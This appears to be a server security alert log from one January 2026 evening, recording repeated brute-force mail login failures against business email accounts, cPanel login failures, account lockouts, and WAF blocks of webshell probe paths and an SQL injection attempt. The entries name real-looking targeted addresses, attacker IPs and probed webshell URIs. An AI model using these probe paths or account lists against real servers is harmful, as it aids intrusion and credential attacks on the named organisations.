2026-01-31 20:47:11 dovecot_login authenticator failed for H=([125.17.17.201]) [27.123.113.86]:59402: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.79.52.114
country_id: 1269750
description:
2026-01-31 20:47:35 dovecot_login authenticator failed for H=(nsg-corporate-255.223.187.122.airtel.in) [182.79.52.114]:54886: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.120.90
country_id: 3469034
description:
2026-01-31 20:48:33 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [187.8.120.90]:46306: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:48:41 dovecot_login authenticator failed for H=(sb4c63yqi) [158.94.208.175]:63977: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.143.201.18
country_id: 690791
description:
2026-01-31 20:48:05 dovecot_login authenticator failed for H=(host-18-201-143-83.reedlan.com) [83.143.201.18]:49160: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.41.224.132
country_id: 1269750
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/projects.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.8.73.174
country_id: 1814991
description:
2026-01-31 20:49:18 dovecot_login authenticator failed for H=(hebei.8.60.in-addr.arpa) [60.8.73.174]:50214: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-01-31 20:49:31 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:47406: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-31 20:49:35 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:59085: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:50:43 dovecot_login authenticator failed for H=(Zvb38p0A) [158.94.208.175]:54746: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.176.6
country_id: 1835841
description:
2026-01-31 20:50:17 dovecot_login authenticator failed for H=([222.120.176.6]) [222.120.176.6]:57528: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.0.202
country_id: 2017370
description:
2026-01-31 20:51:04 dovecot_login authenticator failed for H=([83.239.0.202]) [83.239.0.202]:40848: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-01-31 20:51:09 H=([167.148.167.71]) [167.148.167.71]:59979 F=<Support@wohcheong.com.my> rejected RCPT <sales@wohcheong.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.145.5.14
country_id: 1835841
description:
2026-01-31 20:51:25 dovecot_login authenticator failed for H=([220.67.139.254]) [221.145.5.14]:45344: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:51:10 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49745: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:51:15 dovecot_login authenticator failed for H=(ic8l0t6aMp) [158.94.208.175]:52229: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.39.178
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=22111523583801 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:52:24 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:55579: 535 Incorrect authentication data (set_id=testing@mams1.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:52:19 dovecot_login authenticator failed for H=(T4EIZ6pyO) [158.94.208.175]:56327: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:53:22 dovecot_login authenticator failed for H=(ZmT5el) [158.94.208.175]:65431: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-01-31 20:53:16 dovecot_login authenticator failed for H=(KMCNRb) [69.5.189.21]:51161: 535 Incorrect authentication data (set_id=bktan@printspecsolution.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:53:13 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63635: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-01-31 20:54:04 dovecot_login authenticator failed for H=(nALdCJ) [69.5.189.21]:59065: 535 Incorrect authentication data (set_id=bktan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:54:27 dovecot_login authenticator failed for H=(GjkZhE1) [158.94.208.175]:52024: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.44.130.122
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/mockery/mockery/docs/getting_started/index.rst HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 36.81.152.81
country_id: 1643084
domain: www.saps.com.my
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:7.71||T:APACHE||MV:/wp-json/wp/v2/users/me||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 20:54:24 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:53677: 535 Incorrect authentication data (set_id=testing@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 20:55:17 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:60277: 535 Incorrect authentication data (set_id=testing@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-01-31 20:55:13 dovecot_login authenticator failed for H=(Jx5NlAtn8M) [69.5.189.21]:54326: 535 Incorrect authentication data (set_id=bktan@printspecsolution.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.89.228.203
country_id: 1861060
domain: mail.mckd.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home2/mckd/public_html/wp-includes||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-31 20:56:50 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:42816: 535 Incorrect authentication data (set_id=sean@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-01-31 20:56:24 dovecot_login authenticator failed for H=(FqJbFv1) [69.5.189.21]:49754: 535 Incorrect authentication data (set_id=bktan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:57:54 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:59977: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-01-31 20:57:28 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:52302: 535 Incorrect authentication data (set_id=sean)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-01-31 20:57:33 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:57788: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:58:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50412: 535 Incorrect authentication data (set_id=test@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.19.200.63
country_id: 660013
description:
2026-01-31 20:58:20 dovecot_login authenticator failed for H=([146.19.200.63]) [146.19.200.63]:33598: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.231.25.64
country_id: 3686110
description:
2026-01-31 20:58:40 dovecot_login authenticator failed for H=(1522312565.colombiatel.co) [152.231.25.64]:52709: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.95
country_id: 1814991
description:
2026-01-31 20:58:54 dovecot_login authenticator failed for H=([27.24.141.95]) [27.24.141.95]:54808: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.92.202
country_id: 1269750
description:
2026-01-31 20:58:09 dovecot_login authenticator failed for H=([125.17.215.121]) [27.123.92.202]:36888: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.36.193.139
country_id: 1814991
description:
2026-01-31 20:58:39 dovecot_login authenticator failed for H=([119.36.194.248]) [119.36.193.139]:39768: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:59:37 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:55000: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:59:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:60707: 535 Incorrect authentication data (set_id=test@sv3.nocser.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.161.217.228
country_id: 2510769
description:
2026-01-31 20:59:57 dovecot_login authenticator failed for H=(228.pool90-161-217.static.orange.es) [90.161.217.228]:35199: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.184.114
country_id: 1269750
description:
2026-01-31 20:59:10 dovecot_login authenticator failed for H=([182.95.184.114]) [182.95.184.114]:53494: 535 Incorrect authentication data (set_id=zainuddin)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.203.132.68
country_id: 2658434
domain: ahfengineering.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home2/ahfe3522/public_html/wp-admin/images/commentv.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.108.233.190
country_id: 1835841
description:
2026-01-31 20:59:28 dovecot_login authenticator failed for H=([106.10.69.50]) [183.108.233.190]:54137: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-01-31 20:59:48 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:59960: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.215.116.20
country_id: 2921044
description:
[2026-01-31 21:00:59 +0800] info [webmaild] 85.215.116.20 - payment@tujusetia.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.160.139.163
country_id: 2510769
description:
2026-01-31 21:00:23 dovecot_login authenticator failed for H=(163.pool90-160-139.dynamic.orange.es) [90.160.139.163]:59877: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.203.132.68
country_id: 2658434
domain: ahfengineering.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/index.php||SC:/home2/ahfe3522/public_html/wp-admin/images/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-01-31 21:00:03 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:40310: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.50.94.29
country_id: 1605651
description:
2026-01-31 21:00:07 dovecot_login authenticator failed for H=([147.50.94.29]) [147.50.94.29]:51924: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/images/home/private-residence.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.137.72.22
country_id: 3017382
description:
2026-01-31 21:02:20 dovecot_plain authenticator failed for H=22.ip-79-137-72.eu (k9lq8xgsm4hiclvvfw) [79.137.72.22]:63907: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.214.166.166
country_id: 6252001
description:
2026-01-31 21:02:22 dovecot_login authenticator failed for H=(ADMIN) [181.214.166.166]:60855: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.162
country_id: 1269750
description:
2026-01-31 21:03:17 dovecot_login authenticator failed for H=(nsg-corporate-162.230.187.122.airtel.in) [122.187.230.162]:57941: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-01-31 21:03:32 +0800] info [cpaneld] 185.204.54.153 - imax "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user imax (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-31 21:03:45 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:60358: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 139.59.113.221
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS_NAMES:I6oFfwazsYHqpoTm0Pc!@#$%%^22||MV:I6oFfwazsYHqpoTm0Pc!@#$%%^22||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:04:40 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63311: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: modsec
rule: 77142167
name: IM360 WAF: Block URI containing malicious URLs
abuser: 139.59.113.221
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Block URI containing malicious URLs||RSV:7.71||T:APACHE||MVN:ARGS:pwd||SC:/home/oxboldc/public_html/blog/wp-login.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.120.7.65
country_id: 630336
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/poster/9/343/944563 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.227.193.21
country_id: 1814991
description:
2026-01-31 21:05:42 dovecot_login authenticator failed for H=([124.227.193.21]) [124.227.193.21]:51843: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.4.153.7
country_id: 1814991
description:
2026-01-31 21:06:00 dovecot_login authenticator failed for H=([221.4.153.7]) [221.4.153.7]:42708: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:05:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:56927: 535 Incorrect authentication data (set_id=testing@chs.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-01-31 21:05:12 H=([167.148.167.71]) [167.148.167.71]:57219 F=<Support@tujusetia.my> rejected RCPT <shirley.wong@tujusetia.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.195.166.62
country_id: 2017370
description:
2026-01-31 21:06:07 dovecot_login authenticator failed for H=(dynamicip-109-195-166-62.pppoe.ryazan.ertelecom.ru) [109.195.166.62]:60512: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:06:16 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50462: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 21:06:39 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:52757: 535 Incorrect authentication data (set_id=test@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 21:07:47 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:51007: 535 Incorrect authentication data (set_id=test@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.9.46.208
country_id: 2029969
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/mockery/mockery/docs/reference/object_recording.rst HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.227.166
country_id: 1269750
description:
2026-01-31 21:08:17 dovecot_login authenticator failed for H=([103.56.85.65]) [128.185.227.166]:43274: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.167.20.72
country_id: 1814991
description:
2026-01-31 21:08:21 dovecot_login authenticator failed for H=(72.20.167.124.adsl-pool.sx.cn) [124.167.20.72]:56825: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.82
country_id: 1269750
description:
2026-01-31 21:09:00 dovecot_login authenticator failed for H=(nsg-corporate-82.230.187.122.airtel.in) [122.187.230.82]:60952: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.244.113.178
country_id: 2017370
description:
2026-01-31 21:09:37 dovecot_login authenticator failed for H=(91.244.113.178.wirenet.tv) [91.244.113.178]:57337: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.75.218.103
country_id: 1269750
description:
2026-01-31 21:09:58 dovecot_login authenticator failed for H=([103.55.89.5]) [116.75.218.103]:57226: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.23.240.134
country_id: 953987
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=697884 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.240
country_id: 1668284
description:
2026-01-31 21:09:51 dovecot_login authenticator failed for H=111-70-23-240.emome-ip.hinet.net [111.70.23.240]:36111: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.25.9.85
country_id: 1210997
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=975297 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.104.225.201
country_id: 6252001
description:
2026-01-31 21:09:45 dovecot_login authenticator failed for H=(syn-024-104-225-201.res.spectrum.com) [24.104.225.201]:40040: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.129.236.174
country_id: 1814991
description:
2026-01-31 21:10:13 dovecot_login authenticator failed for H=([219.129.236.174]) [219.129.236.174]:55283: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:10:16 dovecot_login authenticator failed for H=(2UUmNVCCGx) [45.94.31.131]:62490: 535 Incorrect authentication data (set_id=krish)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.177.175.182
country_id: 357994
description:
2026-01-31 21:10:17 dovecot_login authenticator failed for H=([41.65.118.172]) [154.177.175.182]:56950: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.152.120.40
country_id: 1814991
description:
2026-01-31 21:10:21 dovecot_login authenticator failed for H=([39.152.120.40]) [39.152.120.40]:37306: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.187.213.29
country_id: 6252001
description:
2026-01-31 21:10:09 dovecot_login authenticator failed for H=(made-again.tmesis.com) [24.187.213.29]:59466: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.203.132.68
country_id: 2658434
domain: agpc.org.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home/agpcorg/public_html/wp-admin/images/commentv.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.128.15.132
country_id: 1814991
description:
2026-01-31 21:10:27 dovecot_login authenticator failed for H=([222.128.15.132]) [222.128.15.132]:39984: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:11:23 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:60693: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-31 21:11:43 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:41718: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-31 21:11:16 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:26753: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.75.215.245
country_id: 1269750
description:
2026-01-31 21:11:18 dovecot_login authenticator failed for H=(nsg-static-245.215.75.182-airtel.com) [182.75.215.245]:55582: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:11:18 dovecot_login authenticator failed for H=(GLjwriug) [45.94.31.131]:63994: 535 Incorrect authentication data (set_id=krish)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.87.152
country_id: 1814991
description:
2026-01-31 21:12:08 dovecot_login authenticator failed for H=([111.61.87.152]) [111.61.87.152]:21878: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:12:18 dovecot_login authenticator failed for H=(QnA5ZRas) [45.94.31.131]:60867: 535 Incorrect authentication data (set_id=krish)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:12:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:61648: 535 Incorrect authentication data


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.203.132.68
country_id: 2658434
domain: agpc.org.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/agpcorg/public_html/wp-admin/images/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.231
country_id: 1269750
description:
2026-01-31 21:12:28 dovecot_login authenticator failed for H=(nsg-corporate-231.228.187.122.airtel.in) [122.187.228.231]:51374: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-01-31 21:13:19 dovecot_login authenticator failed for H=(hldJieTYp) [45.94.31.131]:54007: 535 Incorrect authentication data (set_id=krish)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.244.154.160
country_id: 99237
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=784798 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Jan 31 21:13:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account krish has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 21:13:06 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:60468: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.91.153.26
country_id: 3077311
description:
2026-01-31 21:14:11 dovecot_login authenticator failed for H=u153-26.static.grape.cz [93.91.153.26]:49387: 535 Incorrect authentication data


